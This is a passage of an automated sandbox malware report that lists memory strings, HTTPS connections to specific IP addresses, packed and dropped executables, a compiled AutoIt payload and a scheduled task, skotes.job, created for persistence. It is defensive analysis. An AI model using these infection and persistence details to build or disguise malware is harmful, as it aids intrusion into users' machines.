0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: file.exe, 00000000.00000003.2208378374.000000000064D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208508823.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/a
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208350186.00000000006AA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: file.exe, 00000000.00000003.2222905597.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223063752.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222836182.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2899443498.0000000005841000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898618121.0000000005844000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898704661.0000000005841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001C.00000002.3226223465.000002682E05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001C.00000003.3086576569.000002682E253000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3222736254.000002682D870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.3083238118.000002682E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3085509496.000002682E210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2222905597.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223063752.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222836182.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2899443498.0000000005841000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898618121.0000000005844000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898704661.0000000005841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993784315.0000000001102000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967613756.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/reca
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A824000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3083238118.000002682E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3085509496.000002682E210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: file.exe, 00000000.00000003.2249642541.00000000053C7000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2926031923.000000000583A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: firefox.exe, 0000001C.00000002.3211863654.000002682A703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: ee8d47a049.exe, 0000000C.00000003.2926303044.0000000005917000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: ee8d47a049.exe, 0000000C.00000003.2926303044.0000000005917000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: ee8d47a049.exe, 0000000C.00000003.2926303044.0000000005917000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/SELECT
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3289963540.00002AA3DFA35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001C.00000002.3226223465.000002682E05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A8AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001C.00000002.3289304414.000015D2F1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/Z
Source: file.exe, 00000000.00000003.2249981893.00000000006C9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2926652624.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001C.00000002.3289304414.000015D2F1003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3289963540.00002AA3DFA35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001C.00000002.3289304414.000015D2F1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.caZ
Source: ee8d47a049.exe, 0000000C.00000003.2993653031.0000000001110000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2975067077.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Trans
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034649856.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3035132023.000000000114F000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/get
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3247966540.00000268302C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001C.00000002.3289304414.000015D2F1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z
Source: firefox.exe, 0000001C.00000002.3226223465.000002682E05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001C.00000002.3290440543.00003793D3B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001C.00000002.3279699850.000002683686B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001C.00000002.3271841943.0000026831F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.3061577879.0000025A3C9AF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3069067757.00000264A6E37000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3199975581.000002681DE79000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306382173.00000138368D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001C.00000002.3199975581.000002681DE79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd?
Source: firefox.exe, 0000001C.00000002.3201171185.000002681E103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdm
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accounteEditorEnableWrapHackMaskgWindowsWithUnloadHandlerfractionalDataArray

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50092 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 55662d7496.exe, 0000000F.00000000.3022048372.0000000000C82000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_6719b4f8-5
Source: 55662d7496.exe, 0000000F.00000000.3022048372.0000000000C82000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_b935d5ad-d

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: section name:
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: section name: .idata
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: section name:
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name:
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name: .rsrc
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name: .idata
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name:
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe.0.dr	Static PE information: section name:
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: ee8d47a049.exe.10.dr	Static PE information: section name:
Source: ee8d47a049.exe.10.dr	Static PE information: section name: .rsrc
Source: ee8d47a049.exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: 36c3130eac.exe.10.dr	Static PE information: section name:
Source: 36c3130eac.exe.10.dr	Static PE information: section name: .rsrc
Source: 36c3130eac.exe.10.dr	Static PE information: section name: .idata
Source: 36c3130eac.exe.10.dr	Static PE information: section name:
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: section name:
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: section name: .idata
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: section name:
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name:
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name: .rsrc
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name: .idata
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name:
Source: Z72A5QS1XOE2OWTBBJM669OT.exe.12.dr	Static PE information: section name:
Source: Z72A5QS1XOE2OWTBBJM669OT.exe.12.dr	Static PE information: section name: .idata

PE file has a writeable .text section

Source: num[1].exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe

Code function: 7_2_00ABFB3A

7_2_00ABFB3A

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9996196885313532
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982118528610354
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: Section: sygcicsm ZLIB complexity 0.9947822991606715
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: Section: wyvqzkuk ZLIB complexity 0.9950803860792885
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9982118528610354
Source: skotes.exe.3.dr	Static PE information: Section: sygcicsm ZLIB complexity 0.9947822991606715
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9996196885313532
Source: ee8d47a049.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9996196885313532
Source: random[1].exe0.10.dr	Static PE information: Section: wyvqzkuk ZLIB complexity 0.9950803860792885
Source: 36c3130eac.exe.10.dr	Static PE information: Section: wyvqzkuk ZLIB complexity 0.9950803860792885
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9982118528610354
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: Section: sygcicsm ZLIB complexity 0.9947822991606715
